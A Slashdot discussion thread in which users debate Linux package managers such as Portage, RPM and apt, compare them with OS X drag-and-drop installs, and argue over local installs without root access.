You can ask that question for almost everything in the open source world.

Personally Portage is the best system I've used so far so I'm sticking with that.

And RPM is the WORST I wish it would please just go away.

Re:Why can't we just pick ONE good way?

[sleepingsquirrel]

Unbeknownst to most people, there is one true way to install software which is eleminates dependency hell.

1. ./configure
2. make
3. make install

Re:Why can't we just pick ONE good way?

[nine-times]

...instead of combining all the shortcomings of everything (except Portage, apparently).

So, what.... you're suggesting we make it run really slowly, too?

Re:Why can't we just pick ONE good way?

[five18pm]

No, definitely not. Whenever I tried, I fall into the dependency hell again, this time for libraries which are not the latest, greatest version. Now if autoconf can change to get the missing library's source and compile that too, that is great !

Re:Why can't we just pick ONE good way?

[FooBarWidget]

Because there is no ONE good way. As with almost anything: the "best" depends on you.

Re:Why can't we just pick ONE good way?

[binner1]

You must be new here...

-Ben

Re:Why can't we just pick ONE good way?

[mrchaotica]

No, I was just reflecting on the fact that the thing the article about claims to unify everthing except Portage.

Also, IIRC Portage is faster now.

Re:Why can't we just pick ONE good way?

[Anonymous Coward]

and what happens when I dont want the software anymore.

I've yet to see make uninstall work for me :-p

Re:Why can't we just pick ONE good way?

[Nothinman]

It hardly eliminates it, all it does it make it take a lot longer as you end up hunting down the dependencies and compiling them all instead of installing precompiled packages. And on top of that if you don't have the optional dependencies you then lose out on functionality and you might not notice right away, then you have to go back and figure out what you missed and start the process over again.

Re:Why can't we just pick ONE good way?

[Anonymous Coward]

I thought this guy was New Here.

Re:Why can't we just pick ONE good way?

[nine-times]

It was just an (admittedly unfunny) off-the-cuff joke... In any event, compiling from source is never going to be as fast as copying binaries. I'm not bashing Portage, it works really well, and is easy, and produces a very nice/stable system. (I'm a Gentoo user) Just, you know, as a matter of fact.... compiling from source can take a while.

Anyway, it's far off topic. When I read "...combining all the shortcomings of everything (except Portage, apparently)." I thought, "Now how can we get portage's shortcomings in there?" Frankly, I'm just happy you got the joke, that it was a dig on portage, instead of responding, "WTF are you talking about?"

Re:Why can't we just pick ONE good way?

[mrchaotica]

Well of course I got it, since I'm a Gentoo user too.

Also, I don't think this is off-topic. The problem that this thing is going to have is dealing with programs that require different library versions, which means they need slots, which means they could learn from Portage.

In fact, I wish people would get out of the whole "distro release" mentality, since the way Free software works is that all the different pieces get updated at their own differing paces. It just seems to me that updating your system little by little and compiling from source is simply the more right way to go about things, you know?

All Portage really needs is more automation (i.e., get rid of the need to use dispatch-conf by making config files update completely automatically) and it would be perfect.

Re:Why can't we just pick ONE good way?

[CaptKilljoy]

>It seems to me that the way to fix this thing is to just pick one and then fix whatever shortcomings it has, instead of combining all the shortcomings of everything (except Portage, apparently).

I find this comment really amusing, in light of your .sig.

Re:Why can't we just pick ONE good way?

[mrchaotica]

Why? If Microsoft would let us fix Windows, that would be fine. But since they don't, and are generally evil, they "[suck] and we hate them." I don't see any logical inconsistency there; do you?

Also, although I didn't say it I meant that we should pick the best one to start with, and that wouldn't be Windows.

Re:Why can't we just pick ONE good way?

[CaptKilljoy]

>Why? If Microsoft would let us fix Windows, that would be fine. But since they don't, and are generally evil, they "[suck] and we hate them." I don't see any logical inconsistency there; do you?

Cool down, zealot-boy; the comment was not in defense of Windows. My comment was directed your advocating the removal of choice when your sig is, in part, a condemnation of the evil of taking away choice, leaving something viewed as sub-optimal by all.

Or to simplify, don't ask to everyone to unify behind one way; at the end of that path lies Microsoft.

>Also, although I didn't say it I meant that we should pick the best one to start with...<advocacy deleted>.

I challenge you to create a definition that all of the developers the developers and systems administrators will agree is the "best".

Re:Why can't we just pick ONE good way?

[mrchaotica]

Heh, I remember you; you're the Autopackage guy. I think we already had a conversation about that...

Re:Why can't we just pick ONE good way?

[mrchaotica]

Ah, I see; sorry I misunderstood.

Remember, though, that the very headline of the story is "Unifying Linux Package Management." I was working on the assumption that it was already decided that unifying package management was a good thing, and was suggesting a different [and better, IMHO] way of reaching that goal than the method in the article.

In reality, I don't think getting rid of the different package management programs is a good thing at all. Instead, I would like to see them made more compatible with each other. They should work towards better conformance to the Filesystem Hierarchy Standard, unify package formats*, be "pluggable" (i.e., able to be substituted for each other without screwing up the system), etc.

*to the extent they can be unified, at least -- an .ebuild is very different from a .deb, but a .deb is relatively similar to an .rpm.

I challenge you to create a definition that all of the developers the developers and systems administrators will agree is the "best".

I'll take a shot at that. How about "the best package management system is the one that is the most versatile and easy to use, and least likely to cause dependency hell?"

By the way, don't call me zealot-boy! My opinions are temperate, considered, and intellectual! : P

...Speaking of which, my sig actually comes from here (look at the paragraph titled "database").

Re:Why can't we just pick ONE good way?

[CaptKilljoy]

>I'll take a shot at that. How about "the best package management system is the one that is the most versatile and easy to use, and least likely to cause dependency hell?"

Oh, like *that* helps. I'm sure Microsoft's mission is to "deliver good software" and look where we are.

It's darned hard to get a committee of developers to agree when everybody's got an opinion on what's best. I hope that a good unified package mangement system emerges from the efforts but I'm not exactly confident.

>By the way, don't call me zealot-boy! My opinions are temperate, considered, and intellectual! : P

I'll take your word for it... :)

Re:Why can't we just pick ONE good way?

[nine-times]

My biggest complaint would probably be, if 1 thing fails, portage should continue on where it can (dropping packages that are dependent on the one that failed would be ok, I guess, but it should at least continue with the rest) I hate leaving a long update running, walking away, and finding out it stopped after an error 30 seconds into it. If one package causes an error that keeps it from being installed, it should go to the next item on the list, and continue until it's done, and then you get an error report at the end.

Re:Why can't we just pick ONE good way?

[mrchaotica]

Hmmm, yeah, that's a good idea -- I'd forgotten about that problem. Is there a bug for it? Never mind, I'll check myself, and... yes, there is! Do you know if there's a way to vote for bugs, like you can with Mozilla?

why not

[Anonymous Coward]

just create a single package management base that can work with source and binaries. Something like Gentoo's portage but more configurable for all users (not just ones with lots of cpu to burn on -O3 compiling all day).

Re:why not

[metamatic]

Troll. portage already works with binaries. Gentoo users just prefer not to use them.

Re:Why all the fuss?

[Anonymous Coward]

You don't even have to hit a "Next" button...

The Next button serves a purpose: It allows the user to change the default install options. I want a Next button and I want options. I don't want 100% automatic installs. I thought Linux was all about control?

It will successfully do something we don't want

[Uzik2]

I've used Gentoo's portage system. This just seems
to be more of the same concept.

Having every component of an application updated weekly will ensure half my builds won't compile twice in a row, let alone give me a repeatable environment to debug in.

Gah! What a nightmare.

Hold out some hope folks...

[skogs]

We should at least try to hold out some hope here. Really, it could provide an opening to 5+ package managers weaknesses...or it could truly unite program management.

Honestly, this is something that is desparately needed in the linux world...it is pretty obvious that the biggest hurdle to running linux is the fact that it is hard to update and patch. Granny don't know apt-get -dependancyhell -fubarproofmycomputer

Our linux community really needs something as FUBAR proof as microsoft's start menu icon that says autoupdate...or better yet a background app that does it all for us. Gentoo is a start, but not the end.

This is a journey we are on, we have a lot of different starting points, but the thing we need to keep in mind is that we all need to reach the same destination at the same time with package managment. *Nix acceptance and usability will be greatly enhanced by having a stand alone, all encompassing package manager.

OSX

[minus_273]

if linux is to be truly ready for the desktop we need a syatem like in OSX. Something that is as intiitive and simple as dragging an icon to the applications folder to install and then dragging it to the trash to uninstall. That should be it. I know there are arguments against this apprach from geeks who talk about the waste in having redundnat libaries, but this is not intenedeed for geeks it is for people who want software to just work.

Re:OSX

[Anonymous Coward]

The problem is far worse than "waste in redundant libraraies". The real problem is what happens when there is a security hole in a given version of a library. Without central libraries you will have to look at every application to see where its loading shared libraries from.

Re:OSX

[Mornelithe]

If OSX is to be truly ready for the desktop, we need a system like in Linux. Something that is intuitive and simple as looking at a list of available applications of a type, picking the one I want, and clicking a button that says 'install'.

I don't want to have to go to a store and buy CDs or spend a long time searching Google for software that will run on my machine, then download an archive, and finally get the delivery media opened, and drag it somewhere on my hard drive.

Seriously, how is Drag-n-Drop easier than Select-n-Click? Of course, saying "OSX is good" is a safe bet here, because you'll automatically get modded up. I'm not saying OSX is hard, but Linux is not hard in this area either.

Re:OSX

[TomorrowPlusX]

Speaking as an OS X developer, another thing this style of packaging tends to result in is devs who *want* the app to be easily installed.

Apple provides an "Installer" app for apps which *need* installation, and look how many people use it. Almost nobody.

The whole design guidelines of OS X and the general mindset that comes with living in and working on OS X is that an app should be one thing, an object, which can run anywhere and shouldn't require a billion libs to run.

And for those who gripe about not re-using libs, well, OS X apps *do* link against libs in /usr/lib and frameworks in /Library. So when OS X gets an update, everybody gets it.

Frankly, I don't miss running configure scripts and then manually installing a half dozen obscure libs to run a single app. If I -- a developer mind you on a well maintained system -- didn't have those libs already, how many people would? Just link it statically and deal with it. Criminy.

Re:OSX

[The Shrubber]

You want ROX-Filer, http://rox.sourceforge.net/

See also Zero-Install http://zero-install.sourceforge.net/, a seperate but related/compatible idea that tries to simplify matters even further.

Agree with parent: this kind of packaging system makes Macs very pleasant to deal with. This doesn't solve all our problems, but it is something we should use for apps (openoffice, etc).

Re:OSX

[ruyon]

Wasting a little hd space is much better than wasting my (and possibly countless other users') time.

Re:OSX

[TomorrowPlusX]

This may constitute a fundamental dosconnect between OS X users and Linux users.

Allow me to explain is I can -- as a user and developer who's been on both platforms for a long time.

Linux users see software as... and don't flame me here... a capital-R Right. it's a global commodity; it just exists, you pick it from a list and there it is. This is a Good Thing as regards Open Source, since it's generally not one person who invented it, wrote it, designed the icons, debugged it, wrote the documentation ,etc etc. It's a group effort. It's installed by sucking down a package from sourceforge CVS or some other anonymous distribution method. If there is a homepage, it's more likely to be a doc or FAQ than a serious production. And, to top it all off, it's free.

OS X users tend to be willing to pay for software ( the HORROR! ). They are aware of Open Source software and have things like Fink and the portage port to install that stuff -- from lists just like you like.

But the GUI stuff, like text editors, music players, etc are downloaded from the product pages of the developers who wrote it. These pieces of software are sometimes open source, but more often are inexpensive shareware -- with excellent support from the developer ( often just one person ) himself -- because he's trying to make a living this way.

Since it's generally shareware, the developer has to make it appealing, and make it personal. Good graphic design, good packaging, good documentation, etc etc. They probably wouldn't like their software to be just Yet Another Item in a List because why would you pick product X when there are 10 others that do similar things -- with no real information to separate them. Would you buy a stereo or a car just by looking at a list ( assuming no previous knowledge of manufacturer or model )?

it's a different world from Linux. Both are GOOD. Both are very good in fact -- but they are different. Deal with it.

Re:OSX

[ruyon]

fink, open darwin, gentoo, or what-nots. pick whatever you want, if you ever try Mac OS X. especially, try to connect to http://packages.opendarwin.org in Finder (cmd+K), then see how it works. If you had, you'll understand.

Re:OSX

[Anonymous Coward]

Oh we understand perfectly. It's apt-get for apple and it was implemented that way because the native OSX installer sucks in comparison.

Re:OSX

[Ian Bicking]

OS X installation is better suited to proprietary applications, as opposed to the more cooperative software system of a typical Linux computer. On OS X there are a clear set of system libraries that people can be expected to have. (And there's no incremental way to do major upgrades on that system software; also no free way).

When you only depend on system libraries, installation can be pretty simple. But there is little "system" on a Linux computer; libc is system. Is glib? libxml2? Who knows... various vendors define a base system, but it never means a whole lot, since Open Source developers aren't going to pay attention to it.

The Open Source environment encourages little applications and lots of dependencies. The package management has to be a lot more robust. Also, Linux package managers supports legacy applications, OS X does nothing in that case. It lets them run free and unmanaged. There's a virtue in OS X, that they provide clear and strong conventions to their developers; but the actual infrastructure is way less powerful or complete than any Linux distribution.

Re:OSX

[JW Troll]

waste? redundant packages? I just installed FireFox on XandrOS, and it took 35MB. The Windows installer is 4MB. I think that Linux is the king of wasteful redundant libraries; it seems that every program wants to install its own version of some arcane widgets. Look at the big, important projects for example:

Openoffice.org 1.1.3:
Linux -- 78246 KB
Windows -- 46100 KB

FireFox 1.0:
Linux -- 8422 KB
Windows -- 4803 KB

AbiWord 2.0.12:
Linux -- 21.16MB
Windows -- 4.8MB

Clearly there's something wrong here. Only OSX binaries are even more gigantic than the Linux ones, and that's only because of the Apple RISC hardware.

Re:OSX

[Anonymous Coward]

What if we want linux to be 'ready for the desktop', but the desktop in question is owned by a geek? Seriously, there's allready two popular desktop OS aimed at Joe Average, one which is even heavily open source. Is there anything wrong with keeping something working the way that we geeks like them to? I 'enjoy' using apt!

Re:OSX

[IamTheRealMike]

Apple provides an "Installer" app for apps which *need* installation, and look how many people use it. Almost nobody.

Actually, Apple use it for nearly all their apps don't they?

Speaking as an OS X developer, another thing this style of packaging tends to result in is devs who *want* the app to be easily installed.

But yes. This is crucial. Right now Linux devs treat easy installs as a "not my problem" thing. Windows and Mac developers treat it as a critical part of the whole. We need a mindset change.

Re:OSX

[mpcooke3]

Well all that is fine for osX a unified system where the base install is the same everywhere and all the core system development is done in house.

It's not feasible for linux until something like the LSB becomes more popular.

Re:OSX

[TomorrowPlusX]

Actually, Apple use it for nearly all their apps don't they?

True -- but Apple's apps are in many cases frontends to system frameworks. E.g, safari is just a frontend to WebKit.framework. AddressBook is a frontend to AddressBook.framework, and so on. You can't install or update one of these without installing new frameworks; thereby eliminating the feasibility of a drag and drop install.

Not that that's cool or anything. But the situation is more complicated than is the case for a 3rd party app like SubEthaEdit or -- amazingly enough -- MS Office which is also a drag-n-drop install on OS X. I agree about the mindset change -- see my other post on this same topic: Here

Re:OSX

[Mornelithe]

It's not quite as black and white as you make it out, and my comment wasn't about how much I pay for software, but the way I can install it.

I'm running Linux, and I have programs that I bought installed. Right now it's just Quake 3, but there are other Linux games I have around, I think, and they work similarly. Quake 3 is handled by my package manager (portage). I put in the cd typed "emerge quake3" and it was set up and ready to run. If I installed Guitoo, or some other graphical front-end, I could have inserted the cd, clicked on quake3, and clicked install.

Other package managers might not handle such pay-for packages similarly, but they probably could.

I just fail to see how drag-and-drop is the end-all of software installation. Click one button isn't any harder.

Would I buy a stereo by looking at a list? Maybe, if that list were an online catalog, with pictures and links to the manufacturer's web page. Package managers typically have such links so you can find out information about a package, so it's not like I'm just rolling some dice and installing randomly.

Yes, in the real world, program installation is neither drag-n-drop or select-n-click. You need to look up information to differentiate open source stuff? Well, yes, but you might need to find and install several shareware apps before you find exactly what you want to buy. Neither one is easier than the other. They aren't even very different fundamentally.

I just get a little peeved when someone comes along and says, "The only way for Linux to succeed is for it to do Z exactly like OSX," and they get modded up to +5. The was Linux does software installation is fine, and only gets better over time. OSX hasn't jumped to 50% marketshare either, and in fact, depending on who you ask, Linux is neck-in-neck with OSX on the desktop.

Apologies for the rant. I need to stop reading Slashdot for a while, I think.

Re:OSX

[doc modulo]

Exactly, the PC is there to serve us, the human. The PC should adapt to how we humans do things. Humans view a program as a whole. It should be in 1 directory!

Once we are forced to jump through hoops we are slaves to the PC. Just because the PC wants to use HD space efficiently we should put with the "program files all over the place" nightmare? Things go wrong if done that way, that's why I'm not going to Linux, I'm going to OSX after this Windows PC.

PC's server 2 purposes:
1. To make things possible which were impossible before
2. Serve us humans as best as possible.

And NOT to make us slaves to how they want things done.

Humans want things done the OSX way. If there are any problems with that approach, fix those problems but you should start from there.

Re:OSX

[zsau]

See ROX. Applications based around it mostly do what you ask (though ROX itself needs an installer for convenience, most people like having a 'rox' wrapper in their path). A related project is Zero-Install, but it needs a kernel module to work. But it has all the advantages of everything except a central repository (and you can't compile-in-place so different OSes/architectures can run the software from source at the moment).

Re:OSX

[ChunderDownunder]

Scratch the surface and you'll find that OSX has no unified package management. :(

There's Fink (Debian based), Portage and DarwinPorts

Not to mention that the opendarwin 'distro' lags several versions behind the OSX build, i.e.
OS X 10.3.6 = Darwin 7.6
current version of OpenDarwin = 7.2.1

Non Sequitur

[Anonymous Coward]

Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.

Li Europan lingues es membres del sam familie. Lor separat existentie es un myth. Por scientie, musica, sport etc., li tot Europa usa li sam vocabularium.

Ma quande lingues coalesce, li grammatica del resultant lingue es plu simplic e regulari quam ti del coalescent lingues. Li nov lingua franca va esser plu simplic e regulari quam li existent Europan lingues. It va esser tam simplic quam Occidental: in fact, it va esser Occidental. A un Angleso it va semblar un simplificat Angles, quam un skeptic Cambridge amico dit me que Occidental es.

1. Omnicos directe al desirabilitá de un nov lingua franca: on refusa continuar payar custosi traductores.
2. It solmen va esser necessi far uniform grammatica, pronunciation e plu sommun paroles.
3. It va esser tam simplic quam Occidental: in fact, it va esser Occidental.
4. Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat.

Epsum factorial non deposit quid pro quo hic escorol. Olypian quarrels et gorilla congolium sic ad nauseum. Souvlaki ignitus carborundum e pluribus unum. Defacto lingo est igpay atinlay. Marquee selectus non provisio incongruous feline nolo contendre. Gratuitous octopus niacin, sodium glutimate. Quote meon an estimate et non interruptus stadium. Sic tempus fugit esperanto hiccup estrogen. Glorious baklava ex librus hup hey ad infinitum. Non sequitur condominium facile et geranium.

Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.

gentoo

[ocularDeathRay]

hi I use gentoo I love it. but I saw linux and package management in the title of this article and I just wanted to ask all the other gentooers out there to please shut the hell up about portage in this discussion. I can hear the keyboards of thousands of gentoo newbies typing messages right now to say blah blah portage blah blah emerge. but that will just prompt more waiting to compile jokes. please guys I know its a great system. but shut the hell up. you are making everyone hate us. yes it has good package management... maybe the best. but in recent months even I a huge gentoo fan have been annoyed by the gentoo users claiming they have the answer to everyones problems. please... it is not for everybody. shut up.


thanks, sincerely, uglyman

Re:gentoo

[stratjakt]

Too bad gentoo doesn't work, and typing "emerge -uD world" is often a death sentence for your box.

Re:gentoo

[ocularDeathRay]

actually I frequently emerge sync; emerge -uD world but it is tricky getting your box set up to handle that. I am running with all experimental packages unmasked as well. the trick is to just mask any packages that break and finish the emerge -uD world. otherwise you are right you will end up with a broken box.

Re:gentoo

[Anonymous Coward]

Gentoo works fine for me. I expect you broke things on the etc-update (update config files) stage. Guess what, your computer doesn't know everything. Windows will guess little details like ip addresses, and it just works (or doesn't). Gentoo gives you options (accept the new config file, keep the old one, or merge the two). Gentoo is tuned for those of us learning how Linux fits together. It could also be tuned for the rest of the world, who just want a computer that runs. But portage is way easier than any RPM system I've tried using, GUI or no.

Lets start the fighting now.

[Anonymous Coward]

Things I want in a package manager.

1. Ability to upgrade from one major version to the next. Gentoo and Debian seem to handle this. Redhat and SuSE seem to make you re-install the whole OS.
2. Ability to install software, with all the benefits of dependancy checking, without typing in a root password. Users should be able to get their own up-to-date version of Perl and whatever it depends on, and installing it in their home directory, WITHOUT messing up other users by changing the default perl.

Re:Lets start the fighting now.

[space_man51]

Ability to install software, with all the benefits of dependancy checking, without typing in a root password. Users should be able to get their own up-to-date version of Perl and whatever it depends on, and installing it in their home directory, WITHOUT messing up other users by changing the default perl.

I totally agree with that point. Allow the user to specify a directory to install "local" software and have the package manager intall to this directory when it doesn't have root access! Excellent.

Re:Lets start the fighting now.

[Pxtl]

3. Ability to fetch and install required packages for you. Telling the user that it requires some obscure library won't help if the user has no clue where to find said library.

Re:Lets start the fighting now.

[Exiler]

You're a few years late for that argument. Try Debian, Gentoo, or Arch. Heck, even Slackware has several network-aware package managers now. (Slacktool and slack-apt)

Re:Lets start the fighting now.

[Mornelithe]

Can you name a modern package manager (apt, yum, portage, ...) that doesn't fulfill this requirement, assuming you're using a managed package repository, and not trying to install foo.rpm off of Joe's Elite Software Website?

Re:Lets start the fighting now.

[TWX]

"Ability to install software, with all the benefits of dependancy checking, without typing in a root password. Users should be able to get their own up-to-date version of Perl and whatever it depends on, and installing it in their home directory, WITHOUT messing up other users by changing the default perl."

If you're at that level to where you're playing with something for research purposes or getting far beyond the norm, either set up your own damn box or learn how to download the application in a source or raw binary form.

When I was at ASU I used Netscape, running on the SunOS 5.6-based servers, with my X redirection stuff putting the program on the HP Envizex i-Series terminal. It wasn't an IT supported configuration, but if I wanted to use other than their installed "Hot Java" web browser I needed to figure out how to do it myself, so I did. I could have gone over and used a PC or I could have brought my own computer, but it was their equipment, and if I wanted to do something different then I had to do it myself. No handholding.

Re:Lets start the fighting now.

[Anonymous Coward]

can't you do this with the configure --prefix option?
so does that imply there is no package manager that takes advantage of this option?
(this is just a question, i'm not familiar with every package manager out there.)

Re:Lets start the fighting now.

[Pxtl]

foo.rpm is exactly the problem - eventually you need an app that your distro package manager has never heard of, and its dependancy info isn't useful. A package manager should have support for external RPM files to say "I need package X" and the package manager helpfully chirps "I have package X" and takes care of our poor lonely RPM, without the user having to get all flustered and bothered.

Re:Lets start the fighting now.

[pair-a-noyd]

Redhat and SuSE seem to make you re-install the whole OS.

I don't mind. I partition my drives up, including giving /home it's own partition.

I've reinstalled several times and skipped a beat.

Re:Lets start the fighting now.

[aclarke]

Well when *I* was in school, I had to run Netscape on HP/UX, displayed on my local X Server running on a Windows 3.1 box. Displayed over a 2400 baud modem. Uphill. Both ways. In the rain.

With NOBODY to hold my hands. Because the life of the geek is a lonely life.

Re:Lets start the fighting now.

[EsbenMoseHansen]

Well, do it then. Change the paths in ~/.bashrc and setup ld (or just use LD_LIBRARY_PATH), then read from the relevant package manager how to install locally. E.g, in Gentoo, it's an environment variable ROOT=$HOME. For extra points, make a sandbox, but it's not really neccessary. Wish granted. That wasn't hard, was it? :o)

I'm sure that this would be default or even more easily configurable if anyone wanted to shoulder the task of maintaining it --- which should be an easy task. The hardest part will be reading info ld, and the a spot of testing. So let me guess: The number of people of wants to do this is

Re:Lets start the fighting now.

[pyros]

You're describing a problem with package maintainers specifying needlessly specific dependencies from their own system (/usr/lib/libfoo.2.6.4-a1.so.1.2 instead of /usr/lib/libfoo.so, or even better, libfoo). It's not the fault of the Package Management system. If lonewolf maintainers would build against standardised dependency names, then yum, up2date, apt, urpmi, yast, and anything else would be given a sensible list of dependencies which it can resolve and the world would live in harmony.

Re:Lets start the fighting now.

[TWX]

"I'm so tired of the slashdot "well I can do it by going through X steps and compiling source so everyone else can too" crap. The local installation option would be a great great option to have, end of story. Why would you even argue that? Are you trolling?"

Are you a user, or an administrator? If you are a user, then you are subject to the implementation that the administrator chose for that particular computer. It's not your computer . The administrator has to support the users and keep things running. It is not in the administrator's best interest to allow any user to run any version of any utility or program, as it would make easy support impossible. Corporations and organizations build systems with standards in mind to make support feasible-- If you install software on your computer or on your account that the organization doesn't support, the organization resets your stuff back to their default to verify functionality.

build your own goddamn box if you want to play with something not normal, or else figure out how to do it yourself, even if it is the hard way. You were provided with an environment because someone who is held in esteem, both for responsibility and authority, has the power to decide what is on the box. If you circumvent that, you do it at your own peril, and they're not going to make it easy for you to do. End of story.

Re:Lets start the fighting now.

[space_man51]

I don't know if any other package systems support this "install locally" feature. I've never heard about it in dpkg/apt-get. Also, as many have pointed out, it's the actual programs that have install paths hardcoded (although Debian could make it part of their policies that programs shouldn't hard-code any paths, since Debian packages must modify certain paths already).

Re:Lets start the fighting now.

[Anonymous Coward]

Next time you might want to figure out how to do it without skipping a beat. ;)

Re:Lets start the fighting now.

[TWX]

Well, I did try to network two compputers by two cans and a piece of string once, using sound cards, but it didn't work so well.

I used the Sun box because the HP/UX box sucked...

Re:Lets start the fighting now.

[Anonymous Coward]

Good for you. What does this pointless anecdote have to do with the advent of a proper installer of packages for Linux?

Re:Lets start the fighting now.

[spitefulcrow]

Gentoo doesn't have major versions beyond system profile releases (2004.1, 2004.2, etc). And uh, if a user wants his own version of Perl he can damn well unpack a source .tgz and build it himself with the PREFIX setting available in pretty much every autoconfigure/automake system around these days.

Re:Lets start the fighting now.

[Elwood P Dowd]

If you circumvent that, you do it at your own peril, and they're not going to make it easy for you to do.

That's his exact point. A package management utility should allow people to easily install shit without circumventing anything, and without requiring root access. No one is discussing circumvention, or doing anything the admin doesn't want, and you are being an asshole.

I can install mozilla in ~/bin. I can install all of mozilla's dependencies in ~/lib. This is totally acceptable by anyone's standards, so long as I don't exceed storage or cpu resource limitations. An excellent package manager should do this for me, and not require that I have access to /usr/local/bin or /usr/local/lib.

Why is this objectionable in any way? Are you trolling?

Re:Lets start the fighting now.

[adamruck]

Wow, I am not sure how you got marked informative. It must be becuase you made a long post.

You and the grandparent are talking about two different things. You are talking about security, admins controlling what users do. The grandparent is talking about ease of use for installing things locally. THOSE ARE TWO DIFFERENT THINGS! For example, what if the admin wants to install something locally, and not system wide.

If you want to control what the users of a system are doing, use quotas, use AFS, use dirrectory permissions, use fancy firewall rulesets, etc. None of these things have anything to do with being able to install things in a local dirrectory.

Re:Lets start the fighting now.

[EsbenMoseHansen]

I'm no expert in other package systems, so I really don't know, but if all else fail a simply chroot'ed install-script would do the trick. Not hard at all, I just do not think that the demand is there.

As for hardcoded path-names... These are relatively rare, in my experience. I run all the handcompiled software (all of KDE, e.g.) off my home directory, with some globally installed extra stuff, with no problems. And again, if all else fail, chroot is the bigger hammer that always work, though the work would be slightly larger.

But it does require some minimal effort, which is of course my entire point, such as it is :)

Re:Lets start the fighting now.

[grumbel]

Debian, at least in part. While apt-get sure can do it, one can't use apt-get in all situations. If you just pick a .deb from a webpage you are back to manual dependency resolution or the person who hosts the .deb has to build a proper apt-get'able repository and the user has to mess with his sources.list to get it working. Sure for larger repositories that is no problem, but for a single programm thats far to much hassle. What I miss is a simple:

$ apt-get install /tmp/mypackage.deb

Re:Lets start the fighting now.

[4of12]

I'm so tired of the slashdot "well I can do it by going through X steps and compiling source

While I'm capable of doing that, I'm tired of doing it.

A distro package manager that can "diff" and sense how it has been modified, save the differences and intelligently lay them back on top of the new version would be quite nice.

On one hand, it's pretty easy to see if someone has mucked around and created a new /etc/fstab , but it's another thing entirely to see if someone has installed application-cvs-nightly in /usr/local/random and changed their LD_LIBRARY_PATH to get the right stuff. Then, the new version of the distribution provides the fully released version of that application and "I don't need it anymore".

It's hard.

Re:Lets start the fighting now.

[Anonymous Coward]

It is not in the administrator's best interest to allow any user to run any version of any utility or program, as it would make easy support impossible.

As it stands, a local installation option would make the administrator's job simpler, not more complex.

If Joe's job for the next two months is to evaluate programs X, Y and Z and see if the company should be using them instead of the current versions, he should be able to get the admin to do a local install that he and his team can use. Put it on another machine? HA! Who do you think's going to have to set that up, install everything on it, and support it? The administrator. You tell me what's simpler for the admin:

• Building a new machine
• Building N software packages from scratch
• Installing local copies of N software packages

I'm not even going to get into the problems that administrators have with having to support multiple versions of the same software packages for business reasons... you may want to make your job easy by only supporting one version, but if your company is using 3rd party software with different dependencies, your job will be to support side-by-side installs of different versions of the same software package... because heaven knows, there will never be enough money in the budget to support buying a seperate $5000 Super-Duper-Servers for every app that deviates from whatever the sysadmin has decided is the company "standard" for servers.

Which brings me to: damn stupid administrators. Yah, I know - there are idiots out there who want root because it's a power trip. But you know what? When I come to you and ask you if we can get foomatic-5.1.3 installed on the servers, it's because we have something that needs foomatic-5.1.3 to run, I haven't been able to make it work with the installed foomatic-5.1.1, and I really don't have any choice but to ask. Trust me, I hate asking as much as you do, becuase for some reason, although I've got everyone from my manager up to the CIO breathing down my neck asking me when will this be ready, that's not enough for you. No, I wouldn't be talking to you unless I absolutely had to, because - let's be honest here, now - nobody likes talking to an arrogant, self-centered, self-righteous jerk who thinks that it's vitally important that a team of 10 people sit around twiddling their thumbs for two weeks so he can make sure that installing foomatic-5.1.3 won't be a waste of his precious freaking time.

But I'm not bitter.

Re:Lets start the fighting now.

[MHV]

Or if Linux could instead accept something like NEXSTEP/Mac OS X Frameworks: a properly versioned system of dynamic libraries, no more symlinks, unfound symbols, linking errors because of path, LD_PATH or what have you. Just clean pre-binding, shared object discovery at runtime, and no more DLL hell.

Then just see how easy it will be to make packages work together.

Re:Lets start the fighting now.

[pair-a-noyd]

Next time you might want to figure out how to do it without skipping a beat. ;)

Arrrrgh! Yeah, someone rang my doorbell while I was composing it..

Re:Lets start the fighting now.

[Anonymous Coward]

Autopackage seems to tackle no 2 there.

Re:Lets start the fighting now.

[Anonymous Coward]

I don't understand. Can't you just write dpkg -i /tmp/mypackage.deb ?

Re:Lets start the fighting now.

[slayer99]

dpkg -i /tmp/mypackage.deb

Re:Lets start the fighting now.

[Taladar]

Just for the record: How many programs did you encounter that were not in an apt-repository but provided .dev files on their site? My experience with Gentoo lead me to find almost only source-code-only-tarballs of the programs not in portage precisely for the same reason there were no ebuilds: Nobody cared (to make an ebuild for portage, to make a binary rpm/deb)

Re:Lets start the fighting now.

[grumbel]

Enough to get annoyed by the lack of a 'apt-get install foo.deb'. Yes, debians package repo is huge and these things are seldom, but especially for smaller apps finding lose .debs is not so uncommon, especially since building an apt-repo inside sourceforge files section will get a bit tricky, you find lose .debs there quite often.

Re:Lets start the fighting now.

[jamiethehutt]

Well when *I* was in school, I had to run Netscape on HP/UX, displayed on my local X Server running on a Windows 3.1 box.

Lucky basterd, I had IE and 98. :P

Re:Lets start the fighting now.

[Anonymous Coward]

> dpkg -i /tmp/mypackage.deb

So, I guess in your hurry to appear all 1337-like, you forgot this part of the parent post:

"While apt-get sure can do it, one can't use apt-get in all situations. If you just pick a .deb from a webpage you are back to manual dependency resolution or the person who hosts the .deb has to build a proper apt-get'able repository and the user has to mess with his sources.list to get it working."

Parent poster wanted apt to be able to deal with single .deb files as if they had been requested by package name so that apt's the dependency resolution would happen.

Re:Lets start the fighting now.

[drew]

While you can upgrade across major versions in Redhat by upgrading your rpms, it is (from my somewhat dated experience) a royal pain in the ass, and usually just easier to reinstall and be done with it.

As for your second question, RPM can do this if the package is built properly- RPMs from the major distros pretty much never have hardcoded paths in them anymore. Of course, this may not be true of the RPMs that the writers of [random free software project] make available on their website, as packaging RPMs correctly can be a pain if you haven't done it much before.

Personally I've given up on package managent for the most part as I use FreeBSD as my *NIX of choice.

Re:Lets start the fighting now.

[Anonymous Coward]

A package management utility should allow people to easily install shit without circumventing anything, and without requiring root access.

Installation of executable code from the Big Bad Net is not something to be taken lightly. Hasn't the prevalence of malware made that point abundantly clear yet?!

Joe User: I want to take my chances.
Bob Admin: Then you are on your own!
Joe User: But it should not be that hard!
Bob Admin: If you think that is hard, I'd rather not have you take your chances.

However, if you are the only user, then what is the problem? I assume you have your own root password? You just can't be bothered? If you can't, stick to something safer than personal computers on the Internet, please.

Re:Lets start the fighting now.

[Anonymous Coward]
